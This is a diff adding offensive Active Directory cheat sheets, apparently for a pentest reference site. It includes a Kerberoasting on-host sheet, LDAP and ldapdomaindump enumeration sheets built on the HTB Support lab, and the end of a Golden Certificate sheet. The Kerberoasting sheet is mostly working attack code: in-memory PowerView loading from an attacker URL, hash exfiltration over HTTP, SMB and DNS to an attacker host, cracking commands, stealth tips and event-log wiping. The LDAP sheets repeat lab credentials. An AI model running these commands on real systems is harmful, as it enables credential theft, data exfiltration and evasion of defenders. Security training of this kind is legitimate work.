**Certificate Transparency (CT) logging** — Log all issued certificates; monitor for serial numbers being used for PKINIT that were never recorded in the CA database +- **Enable CA auditing** — Event ID 70 fires on certificate export — this should alert immediately +- **Restrict physical and RDP access** to the CA server — lateral movement to the CA should be near-impossible in a hardened environment + +*** + +## OPSEC Considerations + +| Action | Event Generated | Noise Level | +|--------|----------------|-------------| +| CA key extraction (`certipy backup`) | Event ID 70 on CA (cert export) + DPAPI access | 🟡 Medium | +| Certificate forgery (`certipy forge`) | **None** — entirely offline | 🟢 None | +| Forged cert authentication | Event ID 4768 (PKINIT) — serial number mismatch | 🟢 Low | +| DCSync with forged identity | Event ID 4662 (replication) | 🔴 High | + +> ⚠️ The **initial key extraction** is the only noisy step. Once the CA PFX is exfiltrated, all subsequent forgery and authentication operations are **completely invisible** to the target CA. The forged certificate will have a serial number that does not exist in the CA's issued certificate database — this is the only detection vector. + +*** + +## References + +- [Domain Persistence: Golden Certificate Attack — Hacking Articles](https://www.hackingarticles.in/domain-persistence-golden-certificate-attack/) +- [Golden Certificate — The Hacker Recipes](https://www.thehacker.recipes/ad/persistence/adcs/golden-certificate) +- [Golden Certificate & OCSP — Cloud Brothers](https://cloudbrothers.info/en/golden-certificate-ocsp/) +- [Golden Certificate — Penetration Testing Lab](https://pentestlab.blog/2021/11/15/golden-certificate/) +- [GoldenCert Edge — SpecterOps BloodHound](https://bloodhound.specterops.io/resources/edges/golden-cert) +- [An Introduction to Golden Certificates — Cyberstoph](https://cyberstoph.org/posts/2019/12/an-introduction-to-golden-certificates/) diff --git a/src/content/sheets/active-directory/kerberoasting-local-on-host.md b/src/content/sheets/active-directory/kerberoasting-local-on-host.md @@ -0,0 +1,322 @@ +--- +title: "Kerberoasting — Local On-Host" +description: "[1] Enumerate SPNs → [2] Request TGS Ticket → [3] Extract Hash → [4] Crack Offline" +category: active-directory +tags: ["active-directory", "kerberos", "sql-injection", "hashing"] +tools: ["Impacket", "Mimikatz", "Rubeus", "Hashcat", "John"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/Kerberos/Kerberoasting — Local On-Host Cheatsheet.md" +--- +# 🎟️ Kerberoasting — Local / On-Host Cheatsheet + +> Focused on techniques executable **directly on a domain-joined Windows machine** using native tools, .NET, and in-memory methods (LOTL). + +--- + +## ⚡ Quick Reference — Attack Flow + +``` +[1] Enumerate SPNs → [2] Request TGS Ticket → [3] Extract Hash → [4] Crack Offline +``` + +--- + +## 🔎 Phase 1 — SPN Enumeration (No Tools Required) + +### Built-in `setspn.exe` +```cmd +:: All SPNs in the domain +setspn -T DOMAIN.LOCAL -Q */* + +:: All SPNs on a specific host +setspn -L hostname + +:: Find SQL SPNs specifically +setspn -T DOMAIN.LOCAL -Q MSSQLSvc/* + +:: Find HTTP SPNs +setspn -T DOMAIN.LOCAL -Q HTTP/* +``` + +### Native PowerShell + .NET (No Imports) +```powershell +# Enumerate all user accounts with SPNs via ADSI +$search = New-Object DirectoryServices.DirectorySearcher +$search.Filter = "(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))" +$search.PropertiesToLoad.AddRange(@("samaccountname","serviceprincipalname","pwdlastset")) +$results = $search.FindAll() +$results | ForEach-Object { + Write-Host "User: $($_.Properties['samaccountname'])" + Write-Host "SPN: $($_.Properties['serviceprincipalname'])" + Write-Host "PwdLastSet: $($_.Properties['pwdlastset'])" + Write-Host "---" +} +``` + +### Active Directory PowerShell Module (if available) +```powershell +# Import module (requires RSAT or AD module) +Import-Module ActiveDirectory + +# Get kerberoastable users +Get-ADUser -Filter {ServicePrincipalName -ne "$null"} ` + -Properties ServicePrincipalName, PasswordLastSet, MemberOf | + Select-Object Name, SamAccountName, ServicePrincipalName, PasswordLastSet | + Sort-Object PasswordLastSet + +# Find accounts with old passwords (easiest to crack) +Get-ADUser -Filter {ServicePrincipalName -ne "$null"} ` + -Properties ServicePrincipalName, PasswordLastSet | + Where-Object { $_.PasswordLastSet -lt (Get-Date).AddYears(-1) } | + Select-Object SamAccountName, PasswordLastSet, ServicePrincipalName +``` + +### PowerView (PowerSploit) +```powershell +# Load into memory (no disk drop) +iex (New-Object Net.WebClient).DownloadString('http://<attacker>/PowerView.ps1') + +# Get all SPN users +Get-DomainUser -SPN | Select SamAccountName, ServicePrincipalName, PasswordLastSet + +# Get specific SPN types +Get-DomainUser -SPN | Where-Object { $_.ServicePrincipalName -like "*SQL*" } + +# Get kerberoastable users with admin rights (high value) +Get-DomainUser -SPN | Get-DomainGroup -MemberIdentity | Where-Object { $_.Name -like "*Admin*" } +``` + +--- + +## 🎯 Phase 2 — Ticket Request & Extraction + +### Method 1 — Pure .NET (No Tools, In-Memory) +```powershell +# Request a single TGS ticket for a known SPN +Add-Type -AssemblyName System.IdentityModel +New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken ` + -ArgumentList "MSSQLSvc/sqlserver.domain.local:1433" + +# Verify ticket is now in cache +klist +``` + +### Method 2 — Request All SPN Tickets via .NET Loop +```powershell +# Enumerate SPNs and request all tickets in one loop +Add-Type -AssemblyName System.IdentityModel + +$search = New-Object DirectoryServices.DirectorySearcher +$search.Filter = "(&(objectClass=user)(servicePrincipalName=*)(!samaccountname=krbtgt))" +$search.PropertiesToLoad.Add("serviceprincipalname") | Out-Null +$search.FindAll() | ForEach-Object { + $spn = $_.Properties['serviceprincipalname'][0] + Write-Host "[*] Requesting ticket for: $spn" + try { + New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn + } catch { Write-Host "[-] Failed: $_" } +} + +# Export all tickets from memory with Mimikatz after +``` + +### Method 3 — Mimikatz (Export Tickets from Memory) +```powershell +# After tickets are loaded into memory via .NET above + +# From Mimikatz console: +kerberos::list /export # Export all tickets to .kirbi files + +# Or directly dump hash from ticket +kerberos::ask /target:MSSQLSvc/sqlserver.domain.local:1433 +``` + +### Method 4 — Rubeus (C# — Drop or Load In-Memory) +```powershell +# Dump all kerberoastable hashes (hashcat format) +.\Rubeus.exe kerberoast /outfile:hashes.txt /format:hashcat /nowrap + +# Recon only — no ticket requests made +.\Rubeus.exe kerberoast /stats + +# Target a single user +.\Rubeus.exe kerberoast /user:svc_mssql /format:hashcat /nowrap + +# Force RC4 downgrade (faster to crack) +.\Rubeus.exe kerberoast /tgtdeleg /format:hashcat /nowrap + +# Filter by stale passwords (high-value targets) +.\Rubeus.exe kerberoast /pwdsetbefore:01-01-2022 /format:hashcat /nowrap + +# Roast a specific OU +.\Rubeus.exe kerberoast /ou:"OU=ServiceAccounts,DC=domain,DC=local" /format:hashcat + +# Use an existing TGT (avoid touching your own credentials) +.\Rubeus.exe kerberoast /ticket:doIFuj[...]lDT0k= /format:hashcat /nowrap +``` + +### Method 5 — Invoke-Kerberoast (PowerShell, No Binary Drop) +```powershell +# Load PowerSploit PowerView +iex (New-Object Net.WebClient).DownloadString('http://<attacker>/PowerView.ps1') + +# Get all hashes in Hashcat format +Invoke-Kerberoast -OutputFormat Hashcat | + Select-Object -ExpandProperty Hash | + Out-File -FilePath C:\Users\Public\hashes.txt -Encoding ASCII + +# John format +Invoke-Kerberoast -OutputFormat John | Select-Object Hash | fl + +# Target specific domain +Invoke-Kerberoast -Domain dev.corp.local -OutputFormat Hashcat | fl + +# With alternate credentials +$pass = ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force +$cred = New-Object Management.Automation.PSCredential('DOMAIN\user', $pass) +Invoke-Kerberoast -Credential $cred -OutputFormat Hashcat | fl +``` + +### Method 6 — LOTL via `klist` + `certutil` Exfil +```cmd +:: View tickets currently cached +klist + +:: Purge all tickets (cleanup) +klist purge + +:: Inspect a specific ticket +klist tickets -v +``` + +--- + +## 📦 Phase 3 — Exfiltrate Hashes + +```powershell +# Base64 encode and print (easy copy-paste exfil) +$hash = Get-Content C:\Users\Public\hashes.txt +[Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes($hash)) + +# Exfil via HTTP to attacker machine +$hash = Get-Content C:\Users\Public\hashes.txt -Raw +Invoke-WebRequest -Uri "http://<attacker>:8080/?h=$hash" -Method GET + +# Exfil via SMB (if share available) +Copy-Item C:\Users\Public\hashes.txt \\<attacker>\share\hashes.txt + +# DNS exfil (one chunk at a time) +$hash = (Get-Content C:\Users\Public\hashes.txt)[0] +Resolve-DnsName "$hash.<attacker-domain>" +``` + +--- + +## 🔨 Phase 4 — Crack Locally (Attacker Machine) + +### Hashcat Quick Reference +```bash +# RC4 / Type 23 — most common, fastest +hashcat -m 13100 hashes.txt rockyou.txt + +# AES-128 / Type 17 +hashcat -m 19600 hashes.txt rockyou.txt + +# AES-256 / Type 18 +hashcat -m 19700 hashes.txt rockyou.txt + +# With rules (best64 = good balance) +hashcat -m 13100 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule + +# Combinator attack (wordlist + wordlist) +hashcat -m 13100 -a 1 hashes.txt words1.txt words2.txt + +# Mask attack — 8 chars, Capital+lower+2digits +hashcat -m 13100 -a 3 hashes.txt ?u?l?l?l?l?l?d?d + +# Resume a cracking session +hashcat -m 13100 hashes.txt rockyou.txt --restore + +# Show cracked passwords +hashcat -m 13100 hashes.txt --show +``` + +### John the Ripper +```bash +john --format=krb5tgs --wordlist=rockyou.txt hashes.txt +john --format=krb5tgs hashes.txt --show +``` + +--- + +## 🥷 Staying Stealthy — OPSEC on Host + +| Action | Stealthy Option | Why | +|---|---|---| +| Enumeration | ADSI .NET query or `setspn` | Looks like admin activity | +| Ticket request | Single target `/user:` | Less noise than bulk roasting | +| Avoid RC4 force | Request AES tickets | `0x17` etype in Event 4769 is a red flag | +| No binary drop | PowerShell in-memory | Reduces forensic artefacts | +| Use `/stats` first | Rubeus recon only | Zero KDC requests | +| Timestamp awareness | Off-hours blending | Match normal baseline traffic | +| Cleanup | `klist purge` post-attack | Removes ticket artefacts from memory | + +--- + +## 🧹 Post-Exploitation Cleanup + +```powershell +# Remove exported ticket files +Remove-Item C:\Users\Public\hashes.txt -Force +Remove-Item *.kirbi -Force + +# Purge Kerberos ticket cache +klist purge + +# Clear PowerShell history +Clear-History +Remove-Item (Get-PSReadLineOption).HistorySavePath -Force + +# Clear Windows event logs (if admin) +wevtutil cl Security +wevtutil cl System +wevtutil cl "Microsoft-Windows-PowerShell/Operational" +``` + +--- + +## 🗺️ High-Value SPN Targets + +| SPN Prefix | Service | Why Valuable | +|---|---|---| +| `MSSQLSvc/*` | SQL Server | Often runs as domain user with high privileges | +| `HTTP/*` | IIS / Web | May have access to web app databases | +| `TERMSRV/*` | RDP service | Lateral movement to servers | +| `exchangeMDB/*` | Exchange | Access to mail data | +| `WSMAN/*` | WinRM | Remote management | +| `SPN on Domain Admin` | Any | Instant privilege escalation if cracked | + +--- + +## 📋 One-Liner Cheatsheet + +```powershell +# Full LOTL pipeline — enumerate + request + dump (no tools) +Add-Type -AssemblyName System.IdentityModel; ` +(New-Object DirectoryServices.DirectorySearcher([ADSI]"", ` +"(&(objectClass=user)(servicePrincipalName=*)(!samaccountname=krbtgt))", ` +@("samaccountname","serviceprincipalname"))).FindAll() | % { ` + $_.Properties['serviceprincipalname'] | % { ` + try { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_ } catch {} } }; klist +``` + +```powershell +# Invoke-Kerberoast one-liner (needs PowerView loaded) +Invoke-Kerberoast -OutputFormat Hashcat | % { $_.Hash } | Out-File hashes.txt -Encoding ASCII +``` + +```bash +# Remote one-liner (Impacket) +GetUserSPNs.py DOMAIN/user:pass -dc-ip <DC_IP> -request -outputfile hashes.txt && hashcat -m 13100 hashes.txt rockyou.txt +``` diff --git a/src/content/sheets/active-directory/ldap-search.md b/src/content/sheets/active-directory/ldap-search.md @@ -0,0 +1,404 @@ +--- +title: "LDAP Search" +description: "Here's the updated cheat sheet using the specific credentials from the Support box:" +category: active-directory +tags: ["active-directory"] +tools: ["NetExec", "BloodHound", "ldapsearch"] +difficulty: intermediate +updated: "2026-08-10" +source: "vault:ActiveDirectory/LDAP Search.md" +--- +# LDAP Enumeration Cheat Sheet for HTB Support + +Here's the updated cheat sheet using the specific credentials from the Support box: + +**Credentials:** +- Username: `ldap@support.htb` +- Password: `nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz` +- Domain: `support.htb` +- Base DN: `DC=support,DC=htb` + +## Basic ldapsearch Syntax (Modern) + +### Initial Reconnaissance + +#### Get Naming Contexts (Anonymous) +```bash +ldapsearch -x -H ldap://support.htb -b "" -s base namingContexts +``` + +#### Test Authentication +```bash +ldapsearch -x -H ldap://support.htb \ + -D 'ldap@support.htb' \ + -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \ + -b "DC=support,DC=htb" \ + -s base +``` + +#### Full Domain Dump +```bash +ldapsearch -x -H ldap://support.htb \ + -D 'ldap@support.htb' \ + -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \ + -b "DC=support,DC=htb" | less +``` + +#### Clean Output (Recommended) +```bash +ldapsearch -LLL -x -H ldap://support.htb \ + -D 'ldap@support.htb' \ + -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \ + -b "DC=support,DC=htb" +``` + +## User Enumeration + +#### All Users +```bash +ldapsearch -x -H ldap://support.htb \ + -D 'ldap@support.htb' \ + -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \ + -b "DC=support,DC=htb" \ + "(objectClass=person)" cn mail +``` + +#### All AD User Objects +```bash +ldapsearch -x -H ldap://support.htb \ + -D 'ldap@support.htb' \ + -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \ + -b "DC=support,DC=htb" \ + "(&(objectClass=user)(objectCategory=person))" \ + sAMAccountName mail displayName +``` + +#### Users with Extended Attributes +```bash +ldapsearch -x -H ldap://support.htb \ + -D 'ldap@support.htb' \ + -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \ + -b "DC=support,DC=htb" \ + "(objectClass=user)" \ + sAMAccountName mail userAccountControl description info memberOf +``` + +#### Search for Passwords in Description/Info Fields +```bash +# Check description fields +ldapsearch -x -H ldap://support.htb \ + -D 'ldap@support.htb' \ + -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \ + -b "DC=support,DC=htb" \ + "(description=*)" description cn | grep -i "pass\|pwd" + +# Check info field (critical for this box!) +ldapsearch -x -H ldap://support.htb \ + -D 'ldap@support.htb' \ + -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \ + -b "DC=support,DC=htb" \ + "(info=*)" info cn sAMAccountName +``` + +#### Find the Support User Specifically +```bash +ldapsearch -x -H ldap://support.htb \ + -D 'ldap@support.htb' \ + -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \ + -b "DC=support,DC=htb" \ + "(cn=support)" \ + cn info memberOf distinguishedName +``` + +#### Active Users Only (Exclude Disabled) +```bash +ldapsearch -x -H ldap://support.htb \ + -D 'ldap@support.htb' \ + -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \ + -b "DC=support,DC=htb" \ + '(&(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' \ + sAMAccountName cn +``` + +#### Service Accounts (Kerberoastable) +```bash +ldapsearch -x -H ldap://support.htb \ + -D 'ldap@support.htb' \ + -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \ + -b "DC=support,DC=htb" \ + "(&(objectClass=user)(servicePrincipalName=*))" \ + sAMAccountName servicePrincipalName +``` + +## Group Enumeration + +#### All Groups +```bash +ldapsearch -x -H ldap://support.htb \ + -D 'ldap@support.htb' \ + -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \ + -b "DC=support,DC=htb" \ + "(objectClass=group)" cn description member +``` + +#### Groups with "Admin" in Name +```bash +ldapsearch -LLL -x -H ldap://support.htb \ + -D 'ldap@support.htb' \ + -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \ + -b "DC=support,DC=htb" \ + "(&(objectClass=group)(name=*admin*))" name sAMAccountName member +``` + +#### Shared Support Accounts Group +```bash +ldapsearch -x -H ldap://support.htb \ + -D 'ldap@support.htb' \ + -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \ + -b "DC=support,DC=htb" \ + "(cn=Shared Support Accounts)" member +``` + +#### Remote Management Users Group +```bash +ldapsearch -x -H ldap://support.htb \ + -D 'ldap@support.htb' \ + -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \ + -b "DC=support,DC=htb" \ + "(cn=Remote Management Users)" member +``` + +#### Domain Admins +```bash +ldapsearch -x -H ldap://support.htb \ + -D 'ldap@support.htb' \ + -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \ + -b "DC=support,DC=htb" \ + "(cn=Domain Admins)" member +``` + +#### User's Group Memberships +```bash +ldapsearch -x -H ldap://support.htb \ + -D 'ldap@support.htb' \ + -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \ + -b "DC=support,DC=htb" \ + "(sAMAccountName=support)" memberOf +``` + +## Computer Enumeration + +#### All Computers +```bash +ldapsearch -x -H ldap://support.htb \ + -D 'ldap@support.htb' \ + -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \ + -b "DC=support,DC=htb" \ + "(objectClass=computer)" cn operatingSystem dNSHostName +``` + +#### Domain Controllers Only +```bash +ldapsearch -x -H ldap://support.htb \ + -D 'ldap@support.htb' \ + -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \ + -b "DC=support,DC=htb" \ + "(userAccountControl:1.2.840.113556.1.4.803:=8192)" cn dNSHostName +``` + +#### Computers with Unconstrained Delegation +```bash +ldapsearch -x -H ldap://support.htb \ + -D 'ldap@support.htb' \ + -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \ + -b "DC=support,DC=htb" \ + "(userAccountControl:1.2.840.113556.1.4.803:=524288)" cn +``` + +## Organizational Units + +```bash +ldapsearch -x -LLL -H ldap://support.htb \ + -D 'ldap@support.htb' \ + -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \ + -b "DC=support,DC=htb" \ + -s sub \ + "(|(objectClass=organizationalUnit)(objectClass=group))" +``` + +## Operational Attributes + +```bash +# Get all operational attributes +ldapsearch -x -H ldap://support.htb \ + -D 'ldap@support.htb' \ + -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \ + -b "DC=support,DC=htb" \ + "(objectClass=*)" '+' + +# Specific operational attributes +ldapsearch -x -H ldap://support.htb \ + -D 'ldap@support.htb' \ + -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \ + -b "DC=support,DC=htb" \ + "(objectClass=*)" \ + creatorsName createTimestamp modifiersName modifyTimestamp +``` + +## Modern Tools + +### ldapdomaindump +```bash +# Comprehensive domain dump +ldapdomaindump -u 'support.htb\ldap' \ + -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \ + support.htb \ + -o ldap_output + +# Output creates: +# - domain_users.json/html +# - domain_groups.json/html +# - domain_computers.json/html +# - domain_trusts.json/html +# - domain_policy.json/html +``` + +### BloodHound Python +```bash +bloodhound-python -c All \ + -u ldap \ + -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \ + -d support.htb \ + -ns 10.10.11.174 +``` + +### CrackMapExec / NetExec +```bash +# Verify credentials +crackmapexec smb support.htb \ + -u ldap \ + -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' + +# LDAP enumeration +netexec ldap support.htb \ + -u ldap \ + -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \ + --users --groups --computers +``` + +## Secure Alternative (Password Prompt) + +Instead of putting the password in the command, use `-W` for a prompt: + +```bash +ldapsearch -x -H ldap://support.htb \ + -D 'ldap@support.htb' \ + -W \ + -b "DC=support,DC=htb" +``` + +## LDAPS (Secure LDAP) + +```bash +ldapsearch -x -H ldaps://support.htb:636 \ + -D 'ldap@support.htb' \ + -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \ + -b "DC=support,DC=htb" +``` + +## Key Takeaways + +1. **Always use `-H ldap://`** instead of deprecated `-h` hostname +2. **Add `-x`** for simple authentication in modern versions +3. **Use `-LLL`** for cleaner output +4. **The `info` field** contained the password for the support user in this box +5. **Check group memberships** - support user was in "Remote Management Users" + +*** + +## Command-Line Flags Reference Table + +| Flag | Long Form | Description | Example | +|------|-----------|-------------|---------| +| `-H` | `--uri` | LDAP URI to connect to (replaces deprecated `-h`) | `-H ldap://support.htb` | +| `-h` | `--host` | **DEPRECATED** Hostname (use `-H` instead) | ~~`-h support.htb`~~ | +| `-p` | `--port` | Port number (default: 389 for LDAP, 636 for LDAPS) | `-p 389` | +| `-D` | `--binddn` | Bind Distinguished Name for authentication | `-D 'ldap@support.htb'` | +| `-w` | `--bindpw` | Bind password (plaintext - visible in process list) | `-w 'password'` | +| `-W` | `--bindpw-prompt` | Prompt for bind password (more secure) | `-W` | +| `-y` | `--bindpw-file` | Read password from file | `-y /path/to/passfile` | +| `-b` | `--basedn` | Base Distinguished Name for search | `-b "DC=support,DC=htb"` | +| `-s` | `--scope` | Search scope: `base`, `one`, `sub`, `children` | `-s sub` | +| `-x` | `--simple` | Use simple authentication instead of SASL | `-x` | +| `-Z` | `--starttls` | Issue StartTLS extended operation | `-Z` | +| `-L` | N/A | LDIFv1 format (one `-L`) | `-L` | +| `-LL` | N/A | Disable comments in output (two `-L`) | `-LL` | +| `-LLL` | N/A | Disable comments and version (three `-L`, cleanest) | `-LLL` | +| `-v` | `--verbose` | Verbose output | `-v` | +| `-d` | `--debug` | Debug level (0-9, higher = more verbose) | `-d 1` | +| `-A` | N/A | Retrieve attribute names only (no values) | `-A` | +| `-l` | `--timelimit` | Time limit for search in seconds | `-l 30` | +| `-z` | `--sizelimit` | Size limit for number of entries returned | `-z 100` | +| `-S` | N/A | Sort results by specified attribute | `-S cn` | +| `-E` | `--extensions` | LDAP extensions (e.g., paging) | `-E pr=1000/noprompt` | +| `-o` | N/A | Set general options | `-o ldif-wrap=no` | +| `-n` | N/A | Show what would be done (dry run) | `-n` | +| `-u` | N/A | Include User Friendly names in output | `-u` | +| `-t` | N/A | Write binary values to temp files | `-t` | +| `-T` | N/A | Directory for temp files (use with `-t`) | `-T /tmp` | +| `-F` | N/A | URL prefix for temp files | `-F file:///tmp/` | +| `-M` | N/A | Enable Manage DSA IT control | `-M` | +| `-C` | N/A | Chase referrals | `-C` | +| `-c` | N/A | Continuous operation mode (ignore errors) | `-c` | + +### Search Scope Values + +| Scope | Description | +|-------|-------------| +| `base` | Search only the base DN itself | +| `one` | Search immediate children of base DN only (one level) | +| `sub` | Search base DN and all descendants (subtree - most common) | +| `children` | Search all descendants but not the base DN itself | + +### Common Attribute Shortcuts + +| Shortcut | Meaning | +|----------|---------| +| `*` | All regular (non-operational) attributes | +| `+` | All operational attributes | +| `1.1` | No attributes (DN only) | +| `*` `+` | All attributes (regular + operational) | + +### LDAP URI Format + +| Format | Description | +|--------|-------------| +| `ldap://host` | Standard LDAP on port 389 | +| `ldap://host:port` | LDAP on custom port | +| `ldaps://host` | LDAP over SSL/TLS on port 636 | +| `ldaps://host:port` | LDAPS on custom port | +| `ldapi://` | LDAP over Unix domain socket (local) | + +### Common Exit Codes + +| Code | Meaning | +|------|---------| +| `0` | Success | +| `1` | Operations error | +| `2` | Protocol error | +| `32` | No such object | +| `49` | Invalid credentials | +| `50` | Insufficient access rights | + +*** + +## Pro Tips + +1. **Always use `-LLL`** for clean, parseable output +2. **Use `-W`** instead of `-w` to avoid password in shell history +3. **The `info` field** in AD often contains sensitive data +4. **Check group memberships** - Remote Management Users = WinRM access +5. **Operational attributes** (`+`) reveal creation/modification metadata +6. **Use `sub` scope** for comprehensive searches +7. **Combine filters** with `&` (AND) and `|` (OR) for precise queries +8. **Save output** to files for offline analysis with `> output.txt` diff --git a/src/content/sheets/active-directory/ldapdomaindump.md b/src/content/sheets/active-directory/ldapdomaindump.md @@ -0,0 +1,573 @@ +--- +title: "ldapdomaindump" +description: "pip3 install ldapdomaindump" +category: active-directory +tags: ["active-directory"] +tools: ["Nmap", "NetExec", "BloodHound", "ldapsearch", "Evil-WinRM"] +difficulty: intermediate +updated: "2026-08-10" +source: "vault:ActiveDirectory/ldapdomaindump.md" +--- +# Complete ldapdomaindump Cheat Sheet for HTB Support + +**Target Information:** +- **Domain:** support.htb +- **Username:** ldap +- **Password:** nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz +- **Full User Format:** support.htb\ldap or ldap@support.htb + +*** + +## What is ldapdomaindump? + +**ldapdomaindump** is a Python tool that performs comprehensive Active Directory enumeration via LDAP and outputs the results in **human-readable HTML files** and **JSON files** for further processing. It's essentially an automated LDAP enumeration tool that saves you from running dozens of individual ldapsearch commands. + +### Why Use ldapdomaindump? + +| Feature | Benefit | +|---------|---------| +| **Automated Enumeration** | Runs multiple LDAP queries automatically | +| **HTML Reports** | Easy-to-read tables you can view in a browser | +| **JSON Output** | Machine-readable format for scripting/parsing | +| **Comprehensive** | Dumps users, groups, computers, trusts, policies in one go | +| **No BloodHound Needed** | Lightweight alternative when you just need basic enumeration | +| **Grep-able JSON** | The JSON files let you search for passwords in `info` fields | + +*** + +## Installation + +```bash +# Install via pip (recommended) +pip3 install ldapdomaindump + +# Install from GitHub (latest version) +git clone https://github.com/dirkjanm/ldapdomaindump.git +cd ldapdomaindump +pip3 install . + +# On Kali Linux (usually pre-installed) +apt install ldapdomaindump + +# Verify installation +ldapdomaindump --help +``` + +*** + +## Basic Command Syntax + +```bash +ldapdomaindump [options] HOSTNAME +``` + +The tool requires: +1. **Authentication credentials** (`-u` and `-p`) +2. **Target hostname** (domain name or IP address) + +*** + +## Essential Commands for HTB Support + +### Standard Enumeration (Recommended) + +```bash +# Basic enumeration with output directory +ldapdomaindump -u support.htb\\ldap \ + -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \ + support.htb \ + -o ldap_output +``` + +**What this does:** +- `-u support.htb\\ldap` - Authenticates as the ldap user in the support.htb domain (note the double backslash) +- `-p 'password'` - Provides the password (single quotes protect special characters) +- `support.htb` - The target domain/hostname +- `-o ldap_output` - Creates a directory called `ldap_output` and saves all results there + +### Using IP Address Instead + +```bash +# Connect via IP (useful if DNS isn't working) +ldapdomaindump -u support.htb\\ldap \ + -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \ + 10.10.11.174 \ + -o ldap_output +``` + +### Alternative Username Formats + +```bash +# Format 1: DOMAIN\username (requires double backslash in bash) +ldapdomaindump -u support.htb\\ldap \ + -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \ + support.htb \ + -o ldap_output + +# Format 2: username@domain (UPN format) +ldapdomaindump -u ldap@support.htb \ + -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \ + support.htb \ + -o ldap_output + +# Format 3: Just username (less reliable) +ldapdomaindump -u ldap \ + -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \ + support.htb \ + -o ldap_output +``` + +*** + +## Output Files Generated + +After running ldapdomaindump, you'll get **6 HTML files** and **6 JSON files**: + +| File Name | Description | What to Look For | +|-----------|-------------|------------------| +| **domain_users.html/json** | All user accounts in the domain | Passwords in `info`/`description` fields, service accounts, privileged users | +| **domain_groups.html/json** | All security groups | Domain Admins, Enterprise Admins, Remote Management Users | +| **domain_computers.html/json** | All computer objects | Domain controllers, servers, workstations, OS versions | +| **domain_policy.html/json** | Domain password policy | Min password length, lockout policy, password age | +| **domain_trusts.html/json** | Trust relationships | External domains, trust direction and type | +| **domain_users_by_group.html/json** | Users organized by group membership | Quick view of who's in what group | + +### Example Output Directory + +```bash +ldap_output/ +├── domain_computers.html +├── domain_computers.json +├── domain_groups.html +├── domain_groups.json +├── domain_policy.html +├── domain_policy.json +├── domain_trusts.html +├── domain_trusts.json +├── domain_users.html +├── domain_users.json +├── domain_users_by_group.html +└── domain_users_by_group.json +``` + +*** + +## Analyzing the Output + +### Critical Information to Check + +#### 1. **domain_users.json** - Hunt for Passwords! + +```bash +# Search for passwords in info fields (HTB Support specific!) +grep -i "info" ldap_output/domain_users.json + +# Search for description fields +grep -i "description" ldap_output/domain_users.json + +# Search for specific user +grep -A 20 '"name": "support"' ldap_output/domain_users.json + +# Look for service accounts +grep -i "service\|svc\|admin" ldap_output/domain_users.json +``` + +**In HTB Support, this reveals:** +```json +{ + "name": "support", + "info": "Ironside47pleasure40Watchful", + "memberOf": [ + "CN=Shared Support Accounts,CN=Users,DC=support,DC=htb", + "CN=Remote Management Users,CN=Builtin,DC=support,DC=htb" + ] +} +``` + +#### 2. **domain_groups.json** - Privileged Groups + +```bash +# Find Domain Admins +grep -A 10 "Domain Admins" ldap_output/domain_groups.json + +# Find Remote Management Users (WinRM access!) +grep -A 10 "Remote Management Users" ldap_output/domain_groups.json + +# Find all admin groups +grep -i "admin" ldap_output/domain_groups.json +``` + +#### 3. **domain_computers.json** - Target Systems + +```bash +# Find domain controllers +grep -i "SERVER\|DC" ldap_output/domain_computers.json + +# Check operating systems +grep "operatingSystem" ldap_output/domain_computers.json +``` + +#### 4. **View HTML in Browser** + +```bash +# Open in default browser (Linux) +firefox ldap_output/domain_users.html + +# Python simple HTTP server to view all files +cd ldap_output +python3 -m http.server 8000 +# Then browse to http://localhost:8000 +``` + +*** + +## Advanced Usage 